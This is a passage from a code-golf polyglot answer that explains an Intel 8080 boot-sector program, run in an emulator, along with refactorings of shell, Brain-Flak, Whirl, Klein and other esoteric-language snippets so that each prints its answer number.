TgyWcyntzkyQwXTVpLUlBf57ZMUQGURFZVzE3fGJOGb4CqRHXA5FuXexMqtTH@IO6w@QdNPMyQqECiiln9wXACNRcGFyT35P1gFSiNbWiJF4JoclCPB0awBokzBmUmLY3FJZL0Jup2rBRBr8WCxvZKxU4xgYilaSqCk/PoHExI4sj1gxbMPW3w@UrUN3B@LU5sxCA8f6s2PAE27ocxc8GJitzmLBqGwNyoVqCIHj4MU9phaEhVBVHc/p88zy/eGogUvqCBTSEOVh6FfA5DyAj9OK2ya15T8agVxFMWNVa8Q82dlx2BpRycUyPeg2P9GMcVnfJHXldhGlIA8nUAErIzwabfiR@E/78gT@bg34EBJ2CPuEVy2HZG1j05SVg5r2D0Skyxr4IVY7FlahE3415fR2hu4gXTDTMmluGN@cQSsECUziTw@Jqf86rMYQBWcrRrxNsvnqpAjbhrwMjpMbXdB3ym33PM/kAJTkkNuooZvI0s6VzZYIkcvqh8Cr/AYsk9x0PvHtPmW5IZOOACKdacsM98mePI6CRzMNP5FTJ6hK2cqiayQQ9aeFSdCqJpBY1/LFYYRb1MKwi9AVV08Qms4XQIHvSYEPjBDEggQGjtUzzDgm2QZhUJnZtvXH5PVn4menELxWab98vslFZP@0abxszYFYmlzrimGpNEPJ@1xEGaTWt4hd1Fj2OnJd4RNqZ8RqvMMRFhiwzViED4qhpwnTrZq5B6MlNifQ2pf@VcOHhhh8VNXAGEljiWM74vXmMvDDqhs3e/fMtR4hlkazWZ/oFDy95NPl@JpjkauUMqONL/zI84AhrnFWqX0A9FXDLMC/SUgzpqX@XsMTworZzIeXDQJIwZ6BjheUr/zcIBAdaVqTWwTD5zQiNSiXdklc8C9QVdvO2Grq/RJezMFcgUEAc@uGBWqEFIMupNuEhztrURfeFeh6KUosWnJdCcrq60pjHqG07b6Nu9Ca06fe92nbzvjPyBNpjg/aFJayBdSAJwQPvQYm9sp@Ve@ewJNAc0JJ28fHVylDT8xSxfu9zyxdgXkAZ7QilLM@jbuJHFd9tDKBqrzCbiCiovMveQnVBYWsisNUEP3C3kUQWCdPuhZvz5y1fsc8uxPNAHj2jNJXtum5YD4gOUKVqF6Xe5pEHwfUz9RKTO9lF3IctOmVk2GXVC254kEhDYsli1FGiKQLAnzrpG2/wEqnrMJqjNZjjKVyswKnXdgdisgUZTVDa5ibM96mUlPFD7zcHpMxyM84E52WagWwtsfWhL5KpTnxtrITOe4QwnwBRp2ngDZN9lu9EY7dUAjNJidtKgro/X/rTQ7NfzIat4f5iQAtSDQFO17Es8wZfMcPcpI1pnK8xmEd/KYtNrVlyCI0RHovSkqPSyeJC7lmXr2@zUwrrLjnqGCSMsdjLC6KuroAc@cf0hgr6oMVYo6rqe01fRRPvqpKZRQ8BvcKyrJB28ODo8PgVGinOLgooR9pnIfDpJla/GAnbk8DxVyP07FMgBPEjM4jtiHqrgweEKcpnPWMglGcreNNDcCzn0k@owmWTRJO96dJorbtaBKpRojpCqf4XCl0@NUEox7Fk6T1acCMu7lpBO2mJJEd4hbT2oVz2cD31HkckPBIA1Jj@I5dHIoCXOIoIy6Vv9kHp7GPTuBgeQpg@iDRnGbalQOdLZNGpJwD01jqdl4RoJH4906vuXpgeyxbiEKodLWIIdS1BnSDapYW6Mpt2zoQ0AXWbXxQ6Hi6ugIMgEET@mVqISDw9AxA6JaJlzhBS0rpbbD0E5VZIU7tAT/gN/Yros1YFhNo60/IFltej4qtGAn8@E4Rq08h70HHzvXik6uElKFWjdpAfCBs/JA9k36uGGftyA2eRlLgW5gVoV7Pk87eKwniOCHJ0MqZHiMbrKnBF2luE8r0rFbkCFwLgqMmLB7ktAMcjipBRQBeVNFYJcVF2ydG0Vlff05kyMSCdE@oNkAOLis7pWMiBAj3kXzhkAXkkrIQFT@z4DYvieJe5O2MCSL5hfXHeKe9oUnkfI3EQNmblv47nm3Dbgso6LvwisBRzjc4QWzRHO7CbFG0F1wDcNqc9CAlR4qlsMsjgHZ24uztX5OHMCp5isPHAuaT8dxqJqwXPBj@hwQT4iI6Lsf@4Gopd2/fVcPsEU5r7Tc5t4mCZICkgNH5NsVLBxbxqBJRgdD@U7O5OHgO4EWRKki71Nge7CdqB9WFW2E1gsqmcOLygRUOFtibaPMeq7qDmRE39EiyKnnDhRFLWOqSNFkTzuC7Ib0coCpfCRSyxqmbgSJw4vUk5G6Sei6FNRBHHJKM1ElKIUbR@fKl2MgaIfn8mcBXoJrUqiEmCVsIAKUt8Y89FNgTYDkpkGz/FObFwsNkQFQcC6ycL9hQjekKJzMxLT9jyN4JWW4NGKb3lZpnNIC8lDqMbB0j0SAwSVCJ/Q2SyOIjKkCjbQS3gmhxoQI/K1Q1GcmKQKM8wDpES2PdyrpcRTUUssNTD4rCFC@dixxZOuEw9wll6GvxWmiARycWI5EJ51IEQhMJ7Ow6jDUJYXSyAHC1LUM9NbTMBBCUpcftOSMd4NKEqiXQWSO8TJnTOyG1ChP0dHKUl8U7YPeh33xR4lJhpOUOHDs@WFkmeNYXhGc8yEgvqf0GItPPlBE6H0EMTXo5QbQa@RzMVC6OmuZB5MrFcJuXAbcMDskE8LgRf3NsQ6tCGgvOPgMdY9RyOxYF3QBad9zjLSUuwh7UV3TZtLqCTbYkKXx83OEcDJIg@Iy07lSoqdLyNyON2NSImeM1FJlNgb3p3DPuOnC3NEqpSIhfxfVOC43DHesBfC6RxOFPuiGhHiCsr9tmoRAgflflu14MCxYr@9WgQHTIespfjT9SJREpwFuChRjBjIphSXQUHAOA41noIigiaN@AEzVk@ZQ21MqgpbpzSjKoUsEufJJdOgx5gXjLi2LFkdgXn1sDQaUW6hjzMvrFZ4TIbIfThEqsrJLoGX5vTpUJjpIAUqo4aK95iEEUBicyOYGDP3@dpNOmYozQcsNAbFo1Q73eTu3gTaoFcpqLMKZXCkUkT8zlzic7NHW0VDrNLspT3h6jJBNS54cr0WQsvSnBlf6Q6qMjGqkrmLlVCSxQsw5e6FKXcPTPkYJtGwV6G/JGfKw8ODrbtQnJ3N4qDHWxhICRwgaVs2GrFxHHxlTO7CuQTKVorW1Bl8VVkYIdKT78LxaBoHHdbeDWfjhGfXQKvbB8tzp49KW8jZZF2ZQ1FIVWqWrCySRVKbxrsCLlCVaGyrXTS7djgSSN1d0vxMCREZlxJ3w0mgVPKooxBZ1P71BfzLxoo12R444QkzDGjL0ic2Bw0ZwS1MfKtYGCEmyJLjUBGQZMTtodPCj0ar0ydN4Cn0C6Opd@bkMTf4xIxOOmSNS6xEjQuGcJFwCnqrQL7NG57dmX5qbvoDdwA6TnsuAQTfRzs@N0pNifRINZ0aWt@rL5vbn83mK663TR0Yd/9G/nAm60XIOm5Mh0btWFei978Ns8hLUAI/QJOvB3VkAZGfzSUSJ9oNYdxizqjftDzpPk2dx9DwwcdIi2uuJKVSrGbCkFkcXETXRtGZypZIEtVgrAg@Gw1wvsbnizuxcaONzOIVeBoWb5InaE3GJMhG27cMR5xkJDrMjofzFyFsFs9Ux81dlILtmMBo34qZP9/xi0JalgjBFcm3sLU8v@yxVtNN95yKbJSSIIvrmsokOablvgsUnFCrIajStKIS1B2cDF3hmrnQl0AxV@ebwO6jPd2mEEElXpSkGPBOob69jpYWM3M0CFkZFs09WDlP3Qqt3PdQtyb3Vbf@C3ByukClmFtoD6KDLd0p1KYH@XRLbnBadn/O0S2vT/f3EweeNCfBqKBveeuFQgEPwZm5Eg8nKHCW2HbzSeg82sTzg6svvNfNPEZNXoI39w48pAFAERqnJrCe4NTECPqb2KlcaM9xcFfOe59D8hN4WoyWcdrh4vbXp1T5CCUyzyqxd5hBzN87FtxRDYojHzIILMF6M4iNauilHCyTA/agRxtP1AmXpBEyGjeLXQs48VGpXksPxL2QZOfDO3zU62gbovzM6vXcLHvjer3Wksx3hyYj7O/HIxQ4CC4l5I3Hpzslssy6tHuxezUQJHYrO7@YCS/d5dZP2svkWQOcSVOwHzu2OnvjgSLX38pQMSHLGcxmhskN3N7TkaGLkmkK/W60/BgzIPte0H1joJjEp2lg6APFXqrIBRSt4s2bfHUw2lN2Icu4mENJgKj8XBjOs7uhkanzydXeu7ajQNYxWMLtcrT1m4qXcrIAPGSufDbW28jDAschaMJzE@8X46aMh0798A9at9FygJsbycYbbomNnTcWz0dgjMeWxS6H7TY0L26JrwZHjQXoSFTmdFqlgKwRBetZ34xAn1HSbV8ce4dLbU4mjpkgpF5sZJk4HK/8u@VRClqgaH7AT1w28WUOmvX@iC5XieQZmeFwAcWs3MEI5xhBkj4zK99cKbVajS0PMhlWqz0BRy7Hak9q7Cl6PHnCnsL7E3x/WCmur5f5yrmn6jV4Pgk8b9gTwEFdEF7k9hReIYzuZ8KhFBbxcr6ynC0vn1d2qmU/X689aeTzHXD97e/99G//8R/na@LlO3x5Qi/1tyGQpmn5ZfN6@eFNGd/rTxvp5WZ9edBId8pYy1Dcv/J8o2fEtolp5t/LZbrBznlTZaDRqpVKmqU/fuSus2Hk9CIn3nwQRTd6g65B0RlhqFbStfTDh@DaqaR/nFbx5A7hb4T@H8CfqSjLab6YWEvTx7WT3YOD@OVC4aWlbdQ0ccLdEIvTbMe3IVPvUsHsea7ONI01cuxdSB4u6D7ngP9ve1fb2zZyhD9bv2JNItFLpEhyco7zYh1y1xZIgfaAa4F@kAJLpimfAFniiXRiIVV/e2eemX0hxcR2kF5zh3xITEnct9nZmWdmZ2fLXTRNjhiVzvxHO2lHh@h7RKmiYQk/RYCRxD1JNNpVfonwIhughN8QDMaFHly8kNA51PGIBB6//1IOpbZkufHwqbsc63baGw@Pv3vbi@MYLSM69yyBmENrmb/fOAmCZRHpJhn1MloyNHaujbs8NlQhEyOOHyTUj4eJ5nFY4UJJHjDyFTbjZpAaw1CXUrmK8MDd32uANvRkGWtY9I6U@TWOWzM22N41cI864K5NNx8MrvSN5KbabXCDYHB7MGc8qV4t7xJ0@svlcbe8rTCpZGKoVijEI@seHHSqY7SfCW7sM9VUr/gxT@3Okp64Xy@3l0u@cROHJvL3JJ2I8m2drOXKZkXkFqTkeTrnjU9Z0TJh/tAegGHKZ2FXCe8ucBLSJWfeFcBn71omBEnrgRGO5uGY85nv1nIlRwXWc3okhc8JEeVOabDhIyR3EobiTTWkiJHyVg50MsKumbzJVKXPPswW7MFB3hqgcbAfcJm1tSQ29JTTsjFH9A3f2hsA2rqSIqwVF7JDqPKKTVB2ihBR@M3HSFhLomFrpsvVtO6uaUQpoklp5kgikUliuWYWuvGK5uTQb9SW0XB629WsUPJm6zxfaKCKThOicOSU8IZqnTQb0phyS3gbdydzKyocn2Wl9Ib4nP1gknOEWqdBKheUXuTgTY48lLi4uBSPiyvZWeSep8UikaNS0vqhlcUZ0oHwt5I35aMNkfEg4aB2gtHCxOgpVI0ExVT7ekAnPpXM6/8XB71noJkNMZL@2qwt2dgxh5udiSeSr9FxAiooE0X7COeUUvCgxJjL9HJRlMp05dC1ni@VUews6XmRTxHxGFC3QlmODbLXYTuRMFV62yBsFrz2NxK0JxJdXc97djCs1SQWy5WUISFxxsk@fzh5ZLsT9ppWMJGPl2@3PENQrqzrFrnwscyJZ1XjZ@GTLaBy7aLIiw5O8qMClRZVmvTGfClwhRokTivLwEvhQan6gIGZuUNNDhlVIa9Ml0CCPeFt@cX2dFdzyf3/st3SVJ5vONUsLT56i/mAdLQPJj@nN1aJRzeuytoV@D61QJ3F7wLnlzbXS0L@EqSuGiW8R9436vpRacoOXWe4B6SU2YRl42Y4l5Widry@9Nty6V5Tcjd8sBkcWgHSydqa2EF/PRBlTtrU1iupGVoD@3Fnc0hoCgYXmW5nR0kO9TqbM3k41p2luZ@cXR1rWBveSnk7ZkUWHBoTVo66kHtI3wvj/WuItIML5/V1sX5TfHlMD98derOYuy9xVz3hghnBYIUIs3Zfn@hxjHuvv5BZwHJgQYJATqrM8pSeGw1BHmphRn/LL39Y37QG3Uk0ibrD4@ftCHayw2FxkpNlFCcpR1Rv2EpI1fYkTawRcu9SEeGb88XFBSEOvXGBimpr7qczrXbMHvIPTtzlPajaCEI8jQJZnvdoEvGF0hrP2WZ2eTXD49/X/9zMtm9ICeHjTyuZz39wfT@TMuKbV/HLz7JGX18Q1Ih2bCd7nrjTEOEynxHySQpAgyKVVAkOLtQQIN0jgLTpxp@XBxuQIRy/@C4ceobepEmdCkLJJTZ8KjkBpzAB@HgC2Wln8h3xppowOfLZySN@EoOgCiD5B3uSJ/hWSgjUX5oRlyml9PMZ1cB4LbQmpbpmSQw6sCbXp4eylpOPU9f7fKqGTZH8cnZ1vSwWOrK9YdlxcaGuEVJc87UkOkzOIsjZ8BanfADqFX5EemWL0dllWKVdMA6ud7ygVeptGQgqTwU1wmwtgf1oyY3xw@3oQYOaKpLB/egp@GOwe/mJuRF0P7KmBidY5yRuwXRgvEzzwNyQjINOzxo36sOS8cH9IKJwNzoZy2QRzbtwjnmGOQU8hImb3N/CZv89G7nyDZPszFPJ2qUaRi0yzNv6OD/cNYMedgtCq5Y4BYXz9ZWNtlRzIjBeg7uhaQXxCfL/t8F6i@VWQn8Bqez5zBC7HJYWWgkc2oNxATkdiIFmDmcBYw3BSIgkIHIyzYAmdI6CpJWs62vEhhgl9Kb0uQqyLWJyI60Rb1TFnvLsOhix91PbojeHgPAq8dSFFaqq3bxi081g9up5DWb7WsaUIWQ3XoF6zFpjhDs2uJVQ6T6hhp9HKOlXHZ3kly9GpjIBylTaNRp17OtEhx4YDde6yxWwJ5dAuEMHhCt11ABd7GsGHatWRxNokf1zC4Y75vUlicUyFpaogZn/TqweMSDzSm4o54iTIzXXm/QFIWJCVw36R5CXpRTOx5U8IARZ@w33EjJBMDVAb@eN0Nxkph@3G7oz25dQotbw2bCNRu7QUqN0b8a94b2IQd6Kme@luWCFAsjRMWeaKuR27Qdd9xG3dGl8tS5pksjeKS3iuZNlfGT3Ni91P7Y3bBmq3rTNZzqo4Ss5Eh3Efp5@3DigLgjS4IAtagylH6mDN09pGJk9MiPuXJ/4Q@xD6@j@mvzflsY5UvI7DnAAYWDRAeMzrlUnWBECQgmxQJsP8iaR2h2Yr23FQzXARZC2xMlWgw9VVdc6hNysQEvn1qcIqB14FWu9ptZDZOLaYqYl53tnS2wdpQk7wp2XKm8H/mB1O/SbNls0d0tSorgqS@IqHM7Dh0b7Bpd1BWPUGvolQkk/SsSYrEQ4V1mXhBB/CcKrSqFl4lBfVut/kBf0Db86H9YDERavHod4D03f0/165ShfTx0U/RR9eECX60oqAdBE7q@zSR59bxr3JWiVnrcwKRx6vx8uvddM3JVVXaL0el4UXfxsKLo41D3bvM/eBtY@ko9fMvoghYzXP6YTplk6EP0LNwX9JwzK93bNCpcujKR9XkjkaNsHeeTF47yA@nrptx/ZjhOdNLu4IHV8zafxtwVVwQfxcVNdQGcplMOkuJ/CtEa6NK@ikExM7krVMtPS3i4zMMwC89fmHwOl5pqw6YCqQ3gRcrbw1tU6kQxgHATIzgHElcKuHYpZxAaRFBzzR02kcjCXfORzXckyAtM502Z1DNofDEIw1g@bWXEniOW35OR0u1lxNli@a6DCh/njBt@5eV9Idhdc1rkzLos78Gl3PDzrxBlhiyefWcdvi9O8g5bqiVzPI16ocODD5CAS0wQtt93Qma9SK9xy@3zY9w2@fK2KofPVw5eOI39SBjEdD2KSWhDjX9BSCTveUM69D/FAy3YFC7mjsEfaW5fbo3Vj21vXtpennGHY@Pe08BrN8tc1zRbv11rCMao2CP9jbUMsa2VNTyNd21PT2l/QMt9eDT/5pob/2Gq472jB1wrcommCqf8293@EuedE9cuTwcng7Ivt@7rvopCxosp@qzHRoRmOvn82ufnTYHLz/OlPv8ZFPDrq/2tDf4v41/j4JJZHeqBPT@ynd/EofsWvHe/ibf/09JQetZbXf6FaRn91dfJb21f03@g7W@/xNh71TlH83/HomB6GR0fUk8nNn59Pbk4G/C96@TXBj3B3xYGPj9WaIXulKoTcXtnlDPd17qv8MdAOb5gFrDledpCy5qdKe@gwB8/cHJ0MFKsQA0mWvXecgXAxL9yZKsWPyPNVIFuhnLiwWfY0Vk8K0QpwTbTpD5qAtlfo5TP72aR@jBJ8p830weNj3rqearI/1wGX3g8wU0K5ybxooWFOZMx/R4PvI5f@70Wk2QGjMOJf9zZVK56oVvwv)\n## Explanation\nThanks to Potato44 for the idea to add machine code, it was a lot of fun to make this answer.\nI didn't do CP/M COM file because it restricts the size of polyglot to about 60KB which I want to avoid.\nBoot image turned out even easier to do than COM because ZEMU loads boot sector from 6th sector by default (1-based, 128 byte logical sectors),\nso start of polyglot does not need to be executed. The boot code must be at offset 0x280 ((6-1)\\*128) in the polyglot.\nI use [ZEMU](http://www.z80.info/zip/zemu.zip) emulator which is linked from [this page](http://www.z80.info/z80emu.htm#EMU_CPU_W32).\nTo run polyglot in ZEMU:\n* Disks > A: select polyglot file\n* Options > Instruction Set I8080\n* Press Boot button\nFunction that prints one char to console (`cns$ot`) was copied from BIOS22Dv221.ASM from ZEMU distribution. \nI made two changes: character is not masked to 7 bit ASCII because we control parameters and `jrz cns$ot` is replaced with `jz cns$ot` because `jrz` (jump \nrelative if zero) is Zilog Z80 instruction not present in Intel 8080.\nInitial program ([Intel syntax](http://pastraiser.com/cpu/i8080/i8080_opcodes.html), [assembler](http://www.z80.info/zip/as8080.zip) linked from [here](http://www.z80.info/z80sdt.htm#SDT_ASM_W32)):\n```\n org 3120h ; chosen so that cns$ot == 0x3131, easier to generate\n ; this program will be generated at this offset\n ; to run it directly specify org 0100h\n mvi c,31h ; '1'\n call cns$ot\n mvi c,38h ; '8'\n call cns$ot\n db 38h ; for answer 188, NOP in I8080\n mvi c,33h ; '3'\n call cns$ot\n hlt ; halt processor\n;;;;;;;;; copied from BIOS22Dv221.ASM\ncno$sp equ 7dh\ncno$sb equ 01h\ncno$si equ 00h\ncno$dp equ 7ch\n; print char to console, receives char in c register\ncns$ot:\n in cno$sp ; in status\n xri cno$si ; adjust polarity\n ani cno$sb ; mask status bit\n jz cns$ot ; repeat until ready\n mov a,c ; get character in a\n out cno$dp ; out character\n ret\n```\nThis program contains chars that cannot be used directly in polyglot. Most ASCII control chars (code < 0x20) are prohibited in Simula, non-ASCII chars (code >= 0x80)\ncannot appear alone because the file must be valid UTF-8. So the above program is generated by another program that is valid UTF-8.\nThe following program generates needed code and jumps to it.\n`ld (hl),a` cannot be used because of Grass (`'w'==0x77`). `sub h` (0x94) and `xor a` (0xAF) are UTF-8 continuation bytes, they must be prepended with UTF-8\nlead byte. Instruction `ret nc` (=0xD0, return if not carry) is used as UTF-8 lead byte. To make it do nothing it is preceded with `scf` instruction (set carry\nflag). Also avoided `','` (0x2C) and `'.'` (0x2E) for DOBELA. `org 0100h` directive is not used because used assembler does not understand it (org is set in the GUI).\nThis program is position independent anyway. I like Zilog mnemonics more, so I used them for longer program.\n[Zilog syntax](http://clrhome.org/table/), [assembler](http://retrospec.sgn.net/game.php?link=z80asm) linked from [here](http://www.z80.info/z80sdt.htm#SDT_ASM_W32):\n```\n ; generate: 0E 31 CD 31 31 0E 38 CD 31 31 38 0E 33 CD 31 31 76 DB 7D EE 00 E6 01 CA 31 31 79 D3 7C C9\n ld hl,3120h\n ld a,3Fh\n scf ; set carry flag so that ret nc does nothing\n ret nc ; utf8 lead byte for next insn\n sub h ; a -= h; a = 0Eh; utf8 cont byte (opcode 0x94)\n ld c,a\n ld (hl),c ; 0Eh ; not using ld (hl),a because it is 'w'\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld a,32h\n cpl ; a = ~a; a = 0xCD\n ld d,a\n ld (hl),d ; CDh\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),c ; 0Eh\n inc hl\n ld (hl),38h ; 38h\n inc hl\n ld (hl),d ; CDh\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),38h ; 38h\n inc hl\n ld (hl),c ; 0Eh\n inc hl\n ld (hl),33h ; 33h\n inc hl\n ld (hl),d ; CDh\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),76h ; 76h\n inc hl\n ld a,23h ; not using ld a,24h because it has '$' (breaks SNUSP)\n inc a\n cpl ; a = ~a; a = 0xDB\n ld d,a\n ld (hl),d ; DBh\n inc hl\n ld (hl),7Dh ; 7Dh\n inc hl\n ld a,c ; a = 0Eh\n cpl ; a = F1h\n dec a\n dec a\n dec a ; a = EEh\n ld d,a\n ld (hl),d ; EEh\n inc hl\n scf\n ret nc\n xor a ; a ^= a; a = 0; utf8 cont byte\n ld c,a\n ld (hl),c ; 00h\n inc hl\n ld a,4Ah\n scf\n ret nc\n sub h ; a -= h; a = 0x19; utf8 cont byte\n cpl ; a = ~a; a = 0xE6\n ld d,a\n ld (hl),d ; E6h\n inc hl\n ld a,c\n inc a\n ld d,a\n ld (hl),d ; 01h\n inc hl\n ld a,35h\n cpl ; a = 0xCA\n ld d,a\n ld (hl),d ; CAh\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),h ; 31h\n inc hl\n ld (hl),79h ; 79h\n inc hl\n ld a,2Dh ; not using ld a,2Ch because it has ','\n dec a\n cpl ; a = 0xD3\n ld d,a\n ld (hl),d ; D3h\n inc hl\n ld (hl),7Ch ; 7Ch\n inc hl\n ld a,36h\n cpl ; a = 0xC9\n ld d,a\n ld (hl),d ; C9h\n ld sp,3232h ; set up stack for generated program\n ld hl,3120h ; not using ld l,20h because it has '.'\n jp (hl) ; go to generated program \n ; confusing mnemonic - actually it is jp hl, ie. PC = HL\n ; opcode 0xE9, utf8 lead byte (0xE9 = 0b11101001), must be followed by 2 cont bytes\n db 80h,80h\n```\nThis program is assembled into:\n```\n! 1>?7–îOq#t#>2/Wr#t#t#q#68#r#t#t#68#q#63#r#t#t#6v#>#J7–î/Wr#y5/Wr#t#t#6y#>-=/Wr#6|#>6/Wr122! 1ÈÄÄ\n```\nIt must be at offset 0x280 in the polyglot (see line 2). Abstraction test in the test driver checks that.\n## Refactorings\n### Shells\nMoved shells back to longest line. I like this layout more because parens don't get aligned with other langs.\nMoved Moorhenses and Flaks before shells, so they don't break when shells are changed.\nLongest line has this layout now:\n```\nGrass Moorhenses Flaks Shells Rubies/Pythons/Perl5 PicoLisp Prelude Klein001\n```\nNew shells code:\n```\na=$(printf \\\\x00)\nb=$(echo -n $a | wc -c)\ncase $b[1] in 1*)echo 54;; 4*)echo 78;; 8*)echo 166;; *1*)echo 50;; *)echo 58;; esac\nexit\n```\nOld shells code:\n```\na=$(printf \\\\x00)\nb=${#a}\ncase \"{\"$ar[1]\"}\"${b} in *1)echo 54;; *4)echo $((19629227668178112600/ 118248359446856100));; *1*)echo 50;; *)echo 58;; esac\nexit\n```\nLength of `$a` is calculated by `$(echo -n $a | wc -c)` now (from [here](https://stackoverflow.com/a/46592387)). \nInitially I used this to get rid of `#`, but now it is used because of shorter code.\nShells can contain `#` because Flaks are before shells.\n[Yash](https://www.mankier.com/1/yash) (166) uses built-in echo command which does not support options by default, so \"-n \" and linefeed end up being part of the \noutput, which gives additional 4 bytes. When not set `ECHO_STYLE` defaults to `SYSV` (`-n` option is not accepted).\n[This TIO link](https://tio.run/##Zc3dCoIwAIbh813Fh3iQgjDBP5K6kexgmwtFUUkhle59zaUJebZ3e8bHWV8oJdiAK7q2nogURQuvgRVSgOvXMwArNcd/EQDzFyxiPoIEqHZQHUCsQb5v5McNP4ow7WLahFLsYp@6Z9kMD2TZSKlDuL7ZPtoMb7wEPOEQwXoJm9/8O8oG8F3HqDBIUyBYK06WStbSs0u6P0tNrmGo7JkgciyHDw) tests code in all shells.\nAdditional `(((((` before shells fix Underload and Retina. One more pair of parens is added to hide `58` from Prelude (closed with `#)` after `exit`).\n`{` before `((((((` is for Japt, without it Japt hangs.\n### Flaks\nDue to relocation of Flaks starting code can be simplified ‚Äì only `([])` is left:\n```\n line 21 (Grass(([5]{}))) scripting langs clear stack Flaks main code begin skip code the rest of polyglot end skip code print(85)\nold: []{}[][][] ((([]{}))) ((()()<<()>>)((()([])))<<()>>) {}{}{}{}{}{}{} ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ ... }{}<> ()\nnew: []{}[][][] ([] ) ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ ... }{}<> ()\n```\n[This TIO link](https://tio.run/##lY/LCoMwEEX3/YrBVbKwgmARK1m00F2/QKTEoChNVXwsJOTb08RIH3ZjZ2C4M8w9k2S0L5VidAACbcOnXc7KBtwaHD@EU0er2r1weo/gHc4RujGbwGvawcvmlUKvWHkzct9lK1gQfMDgzGnfVyzaDHM5sxbt@AaH/gs85mMe/flKlxezD37BB7hWdVWsPr8d/FjcFqwUSlIMgISM0RzYJMZCCrlUghFaGhTrNAPdG4uQxMh5SWiVIJxiKe1MV4RjCyT6BjwB) tests code in all Flaks.\n### Fission & Cardinal\nFission was moved into LNUSP: `R\"12\"R _*`. Second pointer is used to terminate Fission as soon as possible ‚Äì on 3rd step, see [answer 54](https://codegolf.stackexchange.com/a/117635) for more info.\nCardinal was moved into LNUSP: `@ %\"18\"`. As in Fission, second pointer is used to terminate Cardinal as soon as possible ‚Äì on 3rd step.\n### MarioLANG\nUse `####...` instead of `====...` as a platform:\n[![enter image description here](https://i.stack.imgur.com/MZZlO.png)](https://i.stack.imgur.com/MZZlO.png)\n### Minimal-2D\nPolyglot with MarioLANG:\n[![enter image description here](https://i.stack.imgur.com/oomQY.png)](https://i.stack.imgur.com/oomQY.png)\n### Wierd & 1L\\_a\nWierd: use space at line 10 column 79 to reflect IP. \n1L\\_a, Wierd: space at line 9 column 79 is important. \n[![enter image description here](https://i.stack.imgur.com/ViZkx.png)](https://i.stack.imgur.com/ViZkx.png)\n### Cubically\nNew code: `:1*23!/5x%6E0`\n```\n:1*23!/5x%6E0\n! - skip over / in Klein 201\nx - destroy Cardinal pointer before it hits /\npure:\n:1*23/5%6E0\nfaceval:\n0 0\n1 9\n2 18\n3 27\n4 36\n5 45\nprogram:\n:1 mem = 9\n*23 mem *= 18; mem *= 27\n/5 mem /= 45\n%6 print mem\nE0 exit\n9*18*27/45 == 97 (integer division)\n6 in %6 is used to print mem because 0-5 are used to print faceval (eg. %3 prints 27)\n0 in E0 is not an exit code, it is present just to trigger E instruction\n```\n### Klein 201/100\nNew code: `!|*****[[[828+*+@+*99]]]*****|!`\nAfter all the multiplications stack contains a single zero because popping from empty stack gives zero. This zero is added to the main number with `+` next to `@`.\nPreviously it was discarded with `?`, see [Klein 001 answer](https://codegolf.stackexchange.com/a/127812).\nHow doors work in Klein:\n[![enter image description here](https://i.stack.imgur.com/IgyAh.gif)](https://i.stack.imgur.com/IgyAh.gif)\n### Whirl\n[Whirl](http://bigzaphod.github.io/Whirl/) code is basically the same, the only change is that main code assumes that current operation is ops.one (2), \nnot ops.load (4).\nEffectively Whirl can be thought of as having 3 operations:\n* `1` rotate one step\n* `0` switch rotation direction\n* `00` execute current instruction and switch ring\nCombined operations to simplify reasoning about program:\n* `0000` if current op of inactive ring is noop then just execute current op of active ring without any side effects\n* `11..11` rotate n steps\n* `011..11` switch direction and rotate n steps\n`0000` executes current instruction of active ring, but also executes current instruction of inactive ring as a side effect. If current instruction of inactive \nring is harmless then we can just focus on operations on active ring without thinking what is happening with inactive ring. This is especially useful with\nthis program because it has clear separation: first the number 32 is created using only math ring and then we switch to ops ring and execute 2 instructions\nthere (print and exit). \nFirst I wanted to have current operation on ops ring to be noop when main code starts executing. It has 2 advantages: 1) main Whirl code can be executed\nstandalone and 2) we can completely forget about ops ring when creating number 32 with math ring. However, it makes code longer than it was, so instead\nmain code assumes that current operation is ops.one (2). It means that ops.value is set to 1 as a side effect of math operations, which then is used for\nprinting. Old code achieved the same effect with ops.load instruction, but using ops.one more clearly expresses the intention ‚Äì to set ops.value to nonzero.\n```\nat this point current ring is ops, dir = clockwise, cur op = ops.one\n00 switch to math ring\n011 rotate to math.not\n0000 math.not (math.val = 1)\n01111 rotate to math.store\n0000 math.store (mem[0] = 1)\n1 rotate to math.add\n0000 math.add (math.val = 2)\n01 rotate to math.store\n0000 math.store (mem[0] = 2)\n011 rotate to math.mult\n0000 math.mult (math.val = 4)\n0000 math.mult (math.val = 8)\n0000 math.mult (math.val = 16)\n0000 math.mult (math.val = 32)\n011 rotate to math.store\n00 math.store (mem[0] = 32), switch to ops ring\nup to this point the program is the same as before\n01111 rotate to ops.intio\n0000 ops.intio - print mem[0] as number\n0111 rotate to ops.exit\n00 ops.exit\n```\nNew code is shorter because old code has a couple of redundant direction switches in second part of the program, not because of new assumption.\n```\nold: (1111) 00011000001111000010000010000011000000000000000001100 01111110000011100\nnew: (11) 00011000001111000010000010000011000000000000000001100 011110000011100\n```\n**How to keep Whirl correct when changing something before Incident/Whirl line:**\n* ensure there are even number of `0`s before main Whirl code\n* ensure there are no two consecutive `0`s\n* add/remove enough `1`s until Whirl works again; adding n `1`s is equivalent to removing 12-n `1`s and vice versa\nI unknowingly broke first rule when added Ropy. When there are odd number of `0`s main code starts executing with incorrect direction of ops ring\nwhich breaks exit instruction. So now there is `0` on line 3 which compensates `0` on line 1.\n### Others\n**CoffeeScript**: `console.log a&&39||180` (from [here](https://stackoverflow.com/a/15662713))\n**INTERCAL**: moved to line 37 \n**Brainfuck**, **Agony**: moved to other brainfuck derivatives on line 10 \n**xEec**: moved into 1L\\_a (`h#115# o#`)\n**CSL**: moved to line 80 \n**Trefunge**: moved to line 120 \n**Gaot++**, **Stones**: placed on separate lines \n[Answer]\n# 15. Haystack (141 